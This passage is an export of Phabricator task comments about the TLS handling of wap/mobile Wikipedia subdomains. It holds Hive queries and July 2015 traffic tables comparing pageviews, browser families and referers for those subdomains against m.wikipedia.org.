+2	Amazon Silk	115699
+2	Opera Mobile	105234
+2	NetFront NX	62323
+2	Firefox	55917
+2	Yandex Browser	52083
+2	bingbot	43918
+2	UP.Browser	40129
+2	NetFront	35811
+2	Nokia Browser	29375
+2	Nokia Services (WAP) Browser	23477
+2	Opera	21882
+2	Safari	19424
+3	Mobile Safari	12138382
+3	Chrome Mobile	8737983
+3	Android	3661523
+3	Other	2496413
+3	Opera Mini	1331507
+3	Chrome	850364
+3	IE Mobile	681066
+3	Chrome Mobile iOS	626966
+3	BingPreview	289122
+3	UC Browser	279870
+3	IE	168306
+3	Firefox Mobile	162661
+3	BlackBerry WebKit	143762
+3	Amazon Silk	123083
+3	Opera Mobile	102074
+3	NetFront NX	60822
+3	Firefox	53944
+3	Yandex Browser	51476
+3	bingbot	48486
+3	UP.Browser	40755
+3	NetFront	35489
+3	Nokia Browser	29147
+3	Nokia Services (WAP) Browser	22745
+3	Opera	21359
+3	BlackBerry	17753
+4	Mobile Safari	13730159
+4	Chrome Mobile	9532199
+4	Android	4022570
+4	Other	2517782
+4	Opera Mini	1345187
+4	Chrome	964526
+4	IE Mobile	741965
+4	Chrome Mobile iOS	702966
+4	BingPreview	468216
+4	UC Browser	286850
+4	Firefox Mobile	182468
+4	IE	168662
+4	BlackBerry WebKit	154417
+4	Amazon Silk	141286
+4	Opera Mobile	108665
+4	NetFront NX	68877
+4	Firefox	58791
+4	Yandex Browser	54158
+4	bingbot	44750
+4	UP.Browser	41254
+4	NetFront	37933
+4	Nokia Browser	29757
+4	Opera	23560
+4	Nokia Services (WAP) Browser	22688
+4	Safari	17528
+5	Mobile Safari	14771801
+5	Chrome Mobile	10252627
+5	Android	4290877
+5	Other	2497504
+5	Opera Mini	1430023
+5	Chrome	1096304
+5	IE Mobile	803601
+5	Chrome Mobile iOS	783147
+5	UC Browser	310218
+5	Firefox Mobile	196526
+5	IE	183440
+5	BlackBerry WebKit	168692
+5	Amazon Silk	153276
+5	BingPreview	140881
+5	Opera Mobile	116913
+5	Firefox	85277
+5	NetFront NX	70825
+5	Yandex Browser	58552
+5	bingbot	48201
+5	UP.Browser	42779
+5	NetFront	40441
+5	Nokia Browser	31471
+5	Opera	27185
+5	Nokia Services (WAP) Browser	23803
+5	Safari	21766
+6	Mobile Safari	14228044
+6	Chrome Mobile	9753676
+6	Android	3929643
+6	Other	2532060
+6	Opera Mini	1375394
+6	Chrome	997612
+6	IE Mobile	734240
+6	Chrome Mobile iOS	731946
+6	UC Browser	290711
+6	BingPreview	284861
+6	IE	178792
+6	Firefox Mobile	172885
+6	BlackBerry WebKit	157233
+6	Amazon Silk	139901
+6	Opera Mobile	109337
+6	Firefox	81048
+6	NetFront NX	64400
+6	Yandex Browser	54215
+6	UP.Browser	43042
+6	bingbot	40085
+6	NetFront	36980
+6	Nokia Browser	29496
+6	Opera	24721
+6	Safari	24390
+6	Nokia Services (WAP) Browser	24015
+7	Mobile Safari	12806729
+7	Chrome Mobile	9304625
+7	Android	3815258
+7	Other	2541857
+7	Opera Mini	1383079
+7	Chrome	994497
+7	IE Mobile	706593
+7	Chrome Mobile iOS	655893
+7	UC Browser	287160
+7	BingPreview	259074
+7	IE	176418
+7	Firefox Mobile	168050
+7	BlackBerry WebKit	152605
+7	Amazon Silk	126040
+7	Opera Mobile	104946
+7	Firefox	81895
+7	bingbot	60863
+7	NetFront NX	60185
+7	Yandex Browser	53208
+7	UP.Browser	43063
+7	NetFront	37451
+7	Nokia Browser	29615
+7	Safari	24805
+7	Nokia Services (WAP) Browser	24232
+7	Opera	23075
+8	Mobile Safari	12659503
+8	Chrome Mobile	9184525
+8	Android	3764545
+8	Other	2495933
+8	Opera Mini	1375041
+8	Chrome	1020657
+8	IE Mobile	696917
+8	Chrome Mobile iOS	643371
+8	UC Browser	283650
+8	IE	188007
+8	Firefox Mobile	168692
+8	BlackBerry WebKit	155079
+8	Amazon Silk	122635
+8	Firefox	117103
+8	Opera Mobile	106414
+8	NetFront NX	57835
+8	Yandex Browser	53029
+8	UP.Browser	43942
+8	NetFront	36813
+8	bingbot	33094
+8	Safari	30213
+8	Nokia Browser	29398
+8	Opera	27378
+8	Nokia Services (WAP) Browser	24380
+8	BlackBerry	18825
+9	Mobile Safari	12354742
+9	Chrome Mobile	9064487
+9	Android	3696875
+9	Other	2486943
+9	Opera Mini	1357777
+9	Chrome	914434
+9	IE Mobile	695167
+9	Chrome Mobile iOS	628220
+9	UC Browser	289429
+9	IE	184369
+9	Firefox Mobile	163949
+9	BlackBerry WebKit	150928
+9	Amazon Silk	117744
+9	Opera Mobile	106225
+9	Firefox	70187
+9	NetFront NX	60153
+9	Yandex Browser	51033
+9	UP.Browser	45109
+9	NetFront	37170
+9	Nokia Browser	29762
+9	Nokia Services (WAP) Browser	24050
+9	Opera	23910
+9	Safari	20247
+9	BlackBerry	18461
+9	Dolfin	11563
+10	Mobile Safari	12316817
+10	Chrome Mobile	8919801
+10	Android	3617929
+10	Other	2488354
+10	Opera Mini	1288886
+10	Chrome	880277
+10	IE Mobile	679295
+10	Chrome Mobile iOS	629070
+10	UC Browser	286555
+10	IE	194987
+10	Firefox Mobile	165586
+10	BlackBerry WebKit	148878
+10	Amazon Silk	120113
+10	Opera Mobile	103405
+10	Firefox	67870
+10	NetFront NX	60565
+10	Yandex Browser	51304
+10	UP.Browser	43992
+10	NetFront	36353
+10	Nokia Browser	29745
+10	Opera	24687
+10	Nokia Services (WAP) Browser	22633
+10	Safari	19044
+10	BlackBerry	17754
+10	Dolfin	10840
+11	Mobile Safari	13795165
+11	Chrome Mobile	9607690
+11	Android	3860025
+11	Other	2465461
+11	Opera Mini	1349373
+11	Chrome	967251
+11	IE Mobile	744211
+11	Chrome Mobile iOS	718981
+11	UC Browser	295544
+11	Firefox Mobile	184472
+11	IE	181590
+11	BlackBerry WebKit	167669
+11	Amazon Silk	139257
+11	Opera Mobile	109767
+11	Firefox	70353
+11	NetFront NX	64651
+11	Yandex Browser	55602
+11	UP.Browser	44536
+11	bingbot	42287
+11	NetFront	37872
+11	Safari	30587
+11	Nokia Browser	29739
+11	Opera	28711
+11	Nokia Services (WAP) Browser	23403
+11	BlackBerry	16700
+12	Mobile Safari	15686143
+12	Chrome Mobile	10817867
+12	Android	4276783
+12	Other	2454413
+12	Opera Mini	1412342
+12	Chrome	1170379
+12	IE Mobile	845740
+12	Chrome Mobile iOS	806681
+12	UC Browser	313527
+12	Firefox Mobile	205955
+12	IE	185790
+12	BlackBerry WebKit	173916
+12	Amazon Silk	158612
+12	Opera Mobile	120208
+12	Firefox	84299
+12	NetFront NX	71344
+12	Yandex Browser	61163
+12	UP.Browser	45226
+12	NetFront	41501
+12	bingbot	39173
+12	Nokia Browser	34482
+12	Opera	27024
+12	Nokia Services (WAP) Browser	23988
+12	Safari	23434
+12	BlackBerry	18223
+13	Mobile Safari	13399404
+13	Chrome Mobile	9569999
+13	Android	3763515
+13	Other	2489720
+13	Opera Mini	1358259
+13	Chrome	959016
+13	IE Mobile	737357
+13	Chrome Mobile iOS	692172
+13	UC Browser	287651
+13	IE	189446
+13	Firefox Mobile	174859
+13	BlackBerry WebKit	160102
+13	Amazon Silk	132538
+13	Opera Mobile	109905
+13	Firefox	73997
+13	NetFront NX	65558
+13	Yandex Browser	53710
+13	UP.Browser	44708
+13	NetFront	36526
+13	Nokia Browser	30000
+13	Opera	27932
+13	Nokia Services (WAP) Browser	23985
+13	Safari	20944
+13	BlackBerry	17992
+13	bingbot	11291
+14	Mobile Safari	13232133
+14	Chrome Mobile	9536148
+14	Android	3800470
+14	Other	2494306
+14	Opera Mini	1355835
+14	Chrome	964733
+14	IE Mobile	734601
+14	Chrome Mobile iOS	680583
+14	UC Browser	284872
+14	IE	194704
+14	Firefox Mobile	172817
+14	BlackBerry WebKit	153291
+14	Amazon Silk	123805
+14	Opera Mobile	105970
+14	Firefox	69767
+14	NetFront NX	62671
+14	Yandex Browser	52945
+14	UP.Browser	47034
+14	NetFront	36542
+14	Nokia Browser	30271
+14	Opera	25178
+14	Nokia Services (WAP) Browser	24734
+14	Safari	20192
+14	BlackBerry	18818
+14	bingbot	12905
+14	Dolfin	11430
+```
+",,,1437086292,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-ocjkiluccjqpet6e2edi,task_subcomment,,True,c3,3,True,,,2,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,0
+492733,TLS and *.wap/*.mobile multi-level subdomains of wikipedia.org,"@Tnegrin, @Chmarkine: and now, the data.
+
+Queries spanning multiple days seem to sometimes flake out when not restricted to specific hours. So I ran queries against specific hours 1, 7, 13, and 19 for for 1-14 July 2015 for pageviews and pageviews by browser family.
+
+For the Referer stuff I ran the query against those same hours, but for just two days - one in June and one in July (went back to June just to make sure nothing drastically changed due to the HTTPS cutover). Most external Referer values do indeed look to be coming from search engines.
+
+
+== Pageviews ==
+
+Pageviews appeared within a reasonably consistent range throughout a 14 day period. Pageviews on the mobiledot/wapdot subdomains as compared to mdot subdomains for Wikipedia hovered around the 0.01-0.02% range, pretty low.
+
+=== mobile/wap subdomains ===
+
+hive> select day, count(*) from
+wmf.webrequest where
+year = 2015 and month = 7 and day < 15
+and (hour = 1 or hour = 7 or hour = 13 or hour = 19)
+and access_method = 'mobile web'
+and (uri_host like '%.wap.wikipedia.org' OR uri_host like '%.mobile.wikipedia.org')
+and is_pageview = true and agent_type = 'user'
+group by day;
+
+
+1	3393
+2	3642
+3	4320
+4	4432
+5	4797
+6	4515
+7	5660
+8	6106
+9	5724
+10	4680
+11	4959
+12	5905
+13	5186
+14	5665
+
+=== mdot subodmains ===
+
+hive> select day, count(*) from
+wmf.webrequest where
+year = 2015 and month = 7 and day < 15
+and (hour = 1 or hour = 7 or hour = 13 or hour = 19)
+and access_method = 'mobile web'
+and uri_host like '%.m.wikipedia.org'
+and is_pageview = true and agent_type = 'user'
+group by day;
+
+1	32786020
+2	32349055
+3	32265286
+4	35559106
+5	37742879
+6	36129682
+7	34010858
+8	33406901
+9	32659640
+10	32285858
+11	35103953
+12	39178703
+13	34505514
+14	34308916
+
+
+== User-Agent - Browser Family ==
+
+UA trends were relatively consistent. Sogou and UC were relatively high in the mobiledot/wapdot case as compared to the mdot Wikipedia case, probably owing to the apparent geo/language, as evidenced by external Referer values.
+
+Just a sidenote: not sure bingbot should be considered of user agent type.
+
+What follows are the top 10 browsers families for mobiledot/wapdot Wikipedia access, followed by the top 25 browser families for mdot Wikipedia access for a point of reference and general fun.
+
+=== mobile/wap subdomains ===
+
+hive> select day, user_agent_map['browser_family'], count(*) from
+wmf.webrequest where
+year = 2015 and month = 7 and day < 15
+and (hour = 1 or hour = 7 or hour = 13 or hour = 19)
+and access_method = 'mobile web'
+and (uri_host like '%.wap.wikipedia.org' OR uri_host like '%.mobile.wikipedia.org')
+and is_pageview = true and agent_type = 'user'
+group by day, user_agent_map['browser_family'];
+
+day	family	count
+1	Sogou Explorer	683
+1	UC Browser	606
+1	bingbot	492
+1	Android	345
+1	Chrome	253
+1	Mobile Safari	226
+1	IE	206
+1	QQ Browser Mobile	159
+1	Firefox	118
+1	Chrome Mobile	95
+2	Sogou Explorer	813
+2	UC Browser	769
+2	Android	421
+2	Chrome	395
+2	Mobile Safari	219
+2	UP.Browser	214
+2	Chrome Mobile	210
+2	IE	171
+2	QQ Browser Mobile	157
+2	Firefox	93
+3	Sogou Explorer	1405
+3	UC Browser	744
+3	Android	521
+3	Chrome	376
+3	Mobile Safari	233
+3	IE	231
+3	QQ Browser Mobile	221
+3	Firefox	142
+3	Chrome Mobile	131
+3	bingbot	101
+4	UC Browser	954
+4	Android	754
+4	Sogou Explorer	669
+4	Chrome	445
+4	Mobile Safari	266
+4	bingbot	257
+4	IE	255
+4	Firefox	203
+4	Chrome Mobile	168
+4	QQ Browser Mobile	161
+5	UC Browser	1072
+5	Sogou Explorer	944
+5	Android	652
+5	Chrome	500
+5	bingbot	353
+5	Mobile Safari	250
+5	IE	246
+5	QQ Browser Mobile	217
+5	Chrome Mobile	199
+5	Firefox	173
+6	UC Browser	1152
+6	Sogou Explorer	676
+6	Android	584
+6	Chrome	500
+6	Mobile Safari	351
+6	IE	267
+6	Firefox	230
+6	QQ Browser Mobile	230
+6	bingbot	142
+6	Baidu Browser	131
+7	Sogou Explorer	1874
+7	UC Browser	918
+7	Chrome	610
+7	Android	573
+7	IE	503
+7	Mobile Safari	349
+7	QQ Browser Mobile	278
+7	Firefox	166
+7	Chrome Mobile	150
+7	Baidu Browser	71
+8	Sogou Explorer	2158
+8	UC Browser	1068
+8	Android	789
+8	Chrome	506
+8	IE	399
+8	Mobile Safari	254
+8	Chrome Mobile	244
+8	QQ Browser Mobile	206
+8	Firefox	165
+8	Baidu Browser	146
+9	UC Browser	1095
+9	Chrome	852
+9	Sogou Explorer	823
+9	Android	688
+9	bingbot	486
+9	IE	457
+9	Mobile Safari	293
+9	Chrome Mobile	259
+9	QQ Browser Mobile	229
+9	Firefox	200
+10	Sogou Explorer	926
+10	UC Browser	823
+10	Android	530
+10	IE	425
+10	Chrome	381
+10	Other	334
+10	bingbot	300
+10	Mobile Safari	248
+10	QQ Browser Mobile	193
+10	Firefox	170
+11	UC Browser	989
+11	Android	664
+11	Sogou Explorer	524
+11	Chrome	504
+11	Baidu Browser	489
+11	Mobile Safari	387
+11	IE	334
+11	Other	286
+11	QQ Browser Mobile	213
+11	Chrome Mobile	192
+12	UC Browser	1152
+12	Sogou Explorer	1126
+12	Android	796
+12	Chrome	552
+12	IE	418
+12	Mobile Safari	414
+12	QQ Browser Mobile	312
+12	Other	298
+12	Chrome Mobile	252
+12	Firefox	209
+13	UC Browser	1046
+13	Sogou Explorer	905
+13	Android	613
+13	IE	573
+13	Chrome	429
+13	Other	401
+13	Mobile Safari	358
+13	Chrome Mobile	224
+13	QQ Browser Mobile	191
+13	Firefox	153
+14	Sogou Explorer	1109
+14	Android	1012
+14	UC Browser	929
+14	Chrome	545
+14	Mobile Safari	491
+14	Other	414
+14	IE	318
+14	Chrome Mobile	302
+14	QQ Browser Mobile	234
+
+=== mdot subdomains ===
+
+hive> select day, user_agent_map['browser_family'], count(*) from
+wmf.webrequest where
+year = 2015 and month = 7 and day < 15
+and (hour = 1 or hour = 7 or hour = 13 or hour = 19)
+and access_method = 'mobile web'
+and uri_host like '%.m.wikipedia.org'
+and is_pageview = true and agent_type = 'user'
+group by day, user_agent_map['browser_family'];
+
+
+day	family	count
+1	Mobile Safari	12132057
+1	Chrome Mobile	8801804
+1	Android	3749250
+1	Other	2528518
+1	Opera Mini	1403237
+1	Chrome	900893
+1	IE Mobile	681078
+1	Chrome Mobile iOS	621432
+1	BingPreview	449956
+1	UC Browser	297750
+1	IE	204187
+1	Firefox Mobile	178981
+1	BlackBerry WebKit	152236
+1	Amazon Silk	118894
+1	Opera Mobile	102316
+1	NetFront NX	64352
+1	Firefox	53725
+1	Yandex Browser	50416
+1	UP.Browser	40531
+1	NetFront	37946
+1	Nokia Browser	29383
+1	bingbot	28545
+1	Nokia Services (WAP) Browser	24726
+1	Opera	22199
+1	Safari	19415
+1	BlackBerry	18870
+2	Mobile Safari	12004029
+2	Chrome Mobile	8784320
+2	Android	3744649
+2	Other	2524019
+2	Opera Mini	1376195
+2	Chrome	866146
+2	IE Mobile	691822
+2	Chrome Mobile iOS	612938
+2	UC Browser	294477
+2	BingPreview	250466
+2	IE	189961
+2	Firefox Mobile	162782
+2	BlackBerry WebKit	145485
+2	Amazon Silk	115699
+2	Opera Mobile	105234
+2	NetFront NX	62323
+2	Firefox	55917
+2	Yandex Browser	52083
+2	bingbot	43918
+2	UP.Browser	40129
+2	NetFront	35811
+2	Nokia Browser	29375
+2	Nokia Services (WAP) Browser	23477
+2	Opera	21882
+2	Safari	19424
+3	Mobile Safari	12138382
+3	Chrome Mobile	8737983
+3	Android	3661523
+3	Other	2496413
+3	Opera Mini	1331507
+3	Chrome	850364
+3	IE Mobile	681066
+3	Chrome Mobile iOS	626966
+3	BingPreview	289122
+3	UC Browser	279870
+3	IE	168306
+3	Firefox Mobile	162661
+3	BlackBerry WebKit	143762
+3	Amazon Silk	123083
+3	Opera Mobile	102074
+3	NetFront NX	60822
+3	Firefox	53944
+3	Yandex Browser	51476
+3	bingbot	48486
+3	UP.Browser	40755
+3	NetFront	35489
+3	Nokia Browser	29147
+3	Nokia Services (WAP) Browser	22745
+3	Opera	21359
+3	BlackBerry	17753
+4	Mobile Safari	13730159
+4	Chrome Mobile	9532199
+4	Android	4022570
+4	Other	2517782
+4	Opera Mini	1345187
+4	Chrome	964526
+4	IE Mobile	741965
+4	Chrome Mobile iOS	702966
+4	BingPreview	468216
+4	UC Browser	286850
+4	Firefox Mobile	182468
+4	IE	168662
+4	BlackBerry WebKit	154417
+4	Amazon Silk	141286
+4	Opera Mobile	108665
+4	NetFront NX	68877
+4	Firefox	58791
+4	Yandex Browser	54158
+4	bingbot	44750
+4	UP.Browser	41254
+4	NetFront	37933
+4	Nokia Browser	29757
+4	Opera	23560
+4	Nokia Services (WAP) Browser	22688
+4	Safari	17528
+5	Mobile Safari	14771801
+5	Chrome Mobile	10252627
+5	Android	4290877
+5	Other	2497504
+5	Opera Mini	1430023
+5	Chrome	1096304
+5	IE Mobile	803601
+5	Chrome Mobile iOS	783147
+5	UC Browser	310218
+5	Firefox Mobile	196526
+5	IE	183440
+5	BlackBerry WebKit	168692
+5	Amazon Silk	153276
+5	BingPreview	140881
+5	Opera Mobile	116913
+5	Firefox	85277
+5	NetFront NX	70825
+5	Yandex Browser	58552
+5	bingbot	48201
+5	UP.Browser	42779
+5	NetFront	40441
+5	Nokia Browser	31471
+5	Opera	27185
+5	Nokia Services (WAP) Browser	23803
+5	Safari	21766
+6	Mobile Safari	14228044
+6	Chrome Mobile	9753676
+6	Android	3929643
+6	Other	2532060
+6	Opera Mini	1375394
+6	Chrome	997612
+6	IE Mobile	734240
+6	Chrome Mobile iOS	731946
+6	UC Browser	290711
+6	BingPreview	284861
+6	IE	178792
+6	Firefox Mobile	172885
+6	BlackBerry WebKit	157233
+6	Amazon Silk	139901
+6	Opera Mobile	109337
+6	Firefox	81048
+6	NetFront NX	64400
+6	Yandex Browser	54215
+6	UP.Browser	43042
+6	bingbot	40085
+6	NetFront	36980
+6	Nokia Browser	29496
+6	Opera	24721
+6	Safari	24390
+6	Nokia Services (WAP) Browser	24015
+7	Mobile Safari	12806729
+7	Chrome Mobile	9304625
+7	Android	3815258
+7	Other	2541857
+7	Opera Mini	1383079
+7	Chrome	994497
+7	IE Mobile	706593
+7	Chrome Mobile iOS	655893
+7	UC Browser	287160
+7	BingPreview	259074
+7	IE	176418
+7	Firefox Mobile	168050
+7	BlackBerry WebKit	152605
+7	Amazon Silk	126040
+7	Opera Mobile	104946
+7	Firefox	81895
+7	bingbot	60863
+7	NetFront NX	60185
+7	Yandex Browser	53208
+7	UP.Browser	43063
+7	NetFront	37451
+7	Nokia Browser	29615
+7	Safari	24805
+7	Nokia Services (WAP) Browser	24232
+7	Opera	23075
+8	Mobile Safari	12659503
+8	Chrome Mobile	9184525
+8	Android	3764545
+8	Other	2495933
+8	Opera Mini	1375041
+8	Chrome	1020657
+8	IE Mobile	696917
+8	Chrome Mobile iOS	643371
+8	UC Browser	283650
+8	IE	188007
+8	Firefox Mobile	168692
+8	BlackBerry WebKit	155079
+8	Amazon Silk	122635
+8	Firefox	117103
+8	Opera Mobile	106414
+8	NetFront NX	57835
+8	Yandex Browser	53029
+8	UP.Browser	43942
+8	NetFront	36813
+8	bingbot	33094
+8	Safari	30213
+8	Nokia Browser	29398
+8	Opera	27378
+8	Nokia Services (WAP) Browser	24380
+8	BlackBerry	18825
+9	Mobile Safari	12354742
+9	Chrome Mobile	9064487
+9	Android	3696875
+9	Other	2486943
+9	Opera Mini	1357777
+9	Chrome	914434
+9	IE Mobile	695167
+9	Chrome Mobile iOS	628220
+9	UC Browser	289429
+9	IE	184369
+9	Firefox Mobile	163949
+9	BlackBerry WebKit	150928
+9	Amazon Silk	117744
+9	Opera Mobile	106225
+9	Firefox	70187
+9	NetFront NX	60153
+9	Yandex Browser	51033
+9	UP.Browser	45109
+9	NetFront	37170
+9	Nokia Browser	29762
+9	Nokia Services (WAP) Browser	24050
+9	Opera	23910
+9	Safari	20247
+9	BlackBerry	18461
+9	Dolfin	11563
+10	Mobile Safari	12316817
+10	Chrome Mobile	8919801
+10	Android	3617929
+10	Other	2488354
+10	Opera Mini	1288886
+10	Chrome	880277
+10	IE Mobile	679295
+10	Chrome Mobile iOS	629070
+10	UC Browser	286555
+10	IE	194987
+10	Firefox Mobile	165586
+10	BlackBerry WebKit	148878
+10	Amazon Silk	120113
+10	Opera Mobile	103405
+10	Firefox	67870
+10	NetFront NX	60565
+10	Yandex Browser	51304
+10	UP.Browser	43992
+10	NetFront	36353
+10	Nokia Browser	29745
+10	Opera	24687
+10	Nokia Services (WAP) Browser	22633
+10	Safari	19044
+10	BlackBerry	17754
+10	Dolfin	10840
+11	Mobile Safari	13795165
+11	Chrome Mobile	9607690
+11	Android	3860025
+11	Other	2465461
+11	Opera Mini	1349373
+11	Chrome	967251
+11	IE Mobile	744211
+11	Chrome Mobile iOS	718981
+11	UC Browser	295544
+11	Firefox Mobile	184472
+11	IE	181590
+11	BlackBerry WebKit	167669
+11	Amazon Silk	139257
+11	Opera Mobile	109767
+11	Firefox	70353
+11	NetFront NX	64651
+11	Yandex Browser	55602
+11	UP.Browser	44536
+11	bingbot	42287
+11	NetFront	37872
+11	Safari	30587
+11	Nokia Browser	29739
+11	Opera	28711
+11	Nokia Services (WAP) Browser	23403
+11	BlackBerry	16700
+12	Mobile Safari	15686143
+12	Chrome Mobile	10817867
+12	Android	4276783
+12	Other	2454413
+12	Opera Mini	1412342
+12	Chrome	1170379
+12	IE Mobile	845740
+12	Chrome Mobile iOS	806681
+12	UC Browser	313527
+12	Firefox Mobile	205955
+12	IE	185790
+12	BlackBerry WebKit	173916
+12	Amazon Silk	158612
+12	Opera Mobile	120208
+12	Firefox	84299
+12	NetFront NX	71344
+12	Yandex Browser	61163
+12	UP.Browser	45226
+12	NetFront	41501
+12	bingbot	39173
+12	Nokia Browser	34482
+12	Opera	27024
+12	Nokia Services (WAP) Browser	23988
+12	Safari	23434
+12	BlackBerry	18223
+13	Mobile Safari	13399404
+13	Chrome Mobile	9569999
+13	Android	3763515
+13	Other	2489720
+13	Opera Mini	1358259
+13	Chrome	959016
+13	IE Mobile	737357
+13	Chrome Mobile iOS	692172
+13	UC Browser	287651
+13	IE	189446
+13	Firefox Mobile	174859
+13	BlackBerry WebKit	160102
+13	Amazon Silk	132538
+13	Opera Mobile	109905
+13	Firefox	73997
+13	NetFront NX	65558
+13	Yandex Browser	53710
+13	UP.Browser	44708
+13	NetFront	36526
+13	Nokia Browser	30000
+13	Opera	27932
+13	Nokia Services (WAP) Browser	23985
+13	Safari	20944
+13	BlackBerry	17992
+13	bingbot	11291
+14	Mobile Safari	13232133
+14	Chrome Mobile	9536148
+14	Android	3800470
+14	Other	2494306
+14	Opera Mini	1355835
+14	Chrome	964733
+14	IE Mobile	734601
+14	Chrome Mobile iOS	680583
+14	UC Browser	284872
+14	IE	194704
+14	Firefox Mobile	172817
+14	BlackBerry WebKit	153291
+14	Amazon Silk	123805
+14	Opera Mobile	105970
+14	Firefox	69767
+14	NetFront NX	62671
+14	Yandex Browser	52945
+14	UP.Browser	47034
+14	NetFront	36542
+14	Nokia Browser	30271
+14	Opera	25178
+14	Nokia Services (WAP) Browser	24734
+14	Safari	20192
+14	BlackBerry	18818
+14	bingbot	12905
+14	Dolfin	11430
+
+
+
+== Referer ==
+
+It should be sufficient to just look at four distinct hours from two days for the mobiledot/wapdot case because inbound links independent of search engines would be pretty evident pretty fast.
+
+As it turned out there were 29 distinct external Referer host value for the first days' hours being reviewed and there were 39 distinct external Referer host values for the second days' hours being reviewed. The top ten external Referer hostnames are listed below along with the counts for ""unknown"" (e.g., bookmark, start page, or Referer-suppressed scheme:// changes) and ""internal"" referrals.
+
+
+hive> select month, day, ref, count(*) from
+(select month, day,
+case when referer_class = 'external' then parse_url(referer,'HOST') else referer_class end as ref
+from
+wmf.webrequest where
+year = 2015 and (month = 6 or month = 7) and day = 5
+and (hour = 1 or hour = 7 or hour = 13 or hour = 19)
+and access_method = 'mobile web'
+and (uri_host like '%.wap.wikipedia.org' OR uri_host like '%.mobile.wikipedia.org')
+and is_pageview = true and agent_type = 'user') r
+group by month, day, ref;
+
+
+month	day	ref	count
+6	5	unknown	1411
+6	5	internal	974
+6	5	m.baidu.com	120
+6	5	www.baidu.com	44
+6	5	m.sp.sm.cn	39
+6	5	www.sogou.com	23
+6	5	m5.baidu.com	7
+6	5	wap.sogou.com	7
+6	5	image.baidu.com	6
+6	5	r.search.yahoo.com	6
+6	5	www.bioboard.de	6
+6	5	www.google.com	4
+7	5	internal	2647
+7	5	unknown	1068
+7	5	m.baidu.com	521
+7	5	www.baidu.com	308
+7	5	m.sp.sm.cn	62
+7	5	www.sogou.com	35
+7	5	www.bing.com	28
+7	5	wap.baidu.com	25
+7	5	m5.baidu.com	14
+7	5	www.google.com.tw	9
+7	5	m.sogou.com	7
+7	5	www.google.com	7",,,1437084060,,PHID-USER-srhlj2447vmpmrfhqnfa,False,,,PHID-TASK-ocjkiluccjqpet6e2edi,task_subcomment,,True,c3,3,True,,,2,True,0,0,0,1,1,1,1,1,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,1,1,0,1,0,1,1,1,0,1,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,1,1,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,1,1,1,1,1,0,1,0,1,1
+492461,TLS and *.wap/*.mobile multi-level subdomains of wikipedia.org,"@tnegrin, @chmarkine:
+
+I'll pull together some User-Agent and Referer stuff.",,,1437064802,,PHID-USER-srhlj2447vmpmrfhqnfa,False,,,PHID-TASK-ocjkiluccjqpet6e2edi,task_subcomment,,True,c3,3,True,,,2,True,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0
+492428,TLS and *.wap/*.mobile multi-level subdomains of wikipedia.org,Could you look at the referrers as well? Do most of the requests come from search engines?,,,1437062562,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-ocjkiluccjqpet6e2edi,task_subcomment,,True,c3,3,True,,,2,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1,0
+492376,TLS and *.wap/*.mobile multi-level subdomains of wikipedia.org,"Hi Adam -- can you please look at the UAs for the queries that come to
+these domains? The question was asked on mobile-l and I think it would be
+interesting (and hopefully straightforward) -- I think pulling the UA and
+limiting to the top 10 would be enough.
+
+thanks,
+
+-Toby",,,1437059198,,PHID-USER-ud7f5gp5h3uqup6viq4e,False,,,PHID-TASK-ocjkiluccjqpet6e2edi,task_subcomment,,True,c3,3,False,,,2,True,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,1,0,1,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,1,0,0,0,0,1,1,1,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0
+492332,TLS and *.wap/*.mobile multi-level subdomains of wikipedia.org,"As mentioned on threads: looks like the user pageviews for wap.wikipedia.org and mobile.wikipedia.org subdomains are approximately 0.02% of the size of pageviews for m.wikipedia.org subdomains based on a recent one day check.
+
+hive> select count(*) from
+wmf.webrequest where
+year = 2015 and month = 7 and day = 14
+and access_method = 'mobile web'
+and (uri_host like '%.wap.wikipedia.org' OR uri_host like '%.mobile.wikipedia.org')
+and is_pageview = true and agent_type = 'user';
+
+35,543
+
+hive> select count(*) from
+wmf.webrequest where
+year = 2015 and month = 7 and day = 14
+and access_method = 'mobile web'
+and uri_host like '%.m.wikipedia.org'
+and is_pageview = true and agent_type = 'user';
+
+202,024,891",,,1437053289,,PHID-USER-srhlj2447vmpmrfhqnfa,False,,,PHID-TASK-ocjkiluccjqpet6e2edi,task_subcomment,,True,c3,3,True,,,2,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,1,1,0,0,1,1,0,1,0,0,0,1,1,0,1,0,0,1
+492309,TLS and *.wap/*.mobile multi-level subdomains of wikipedia.org,"Here are the mails to wikitech-l and mobile-l.
+
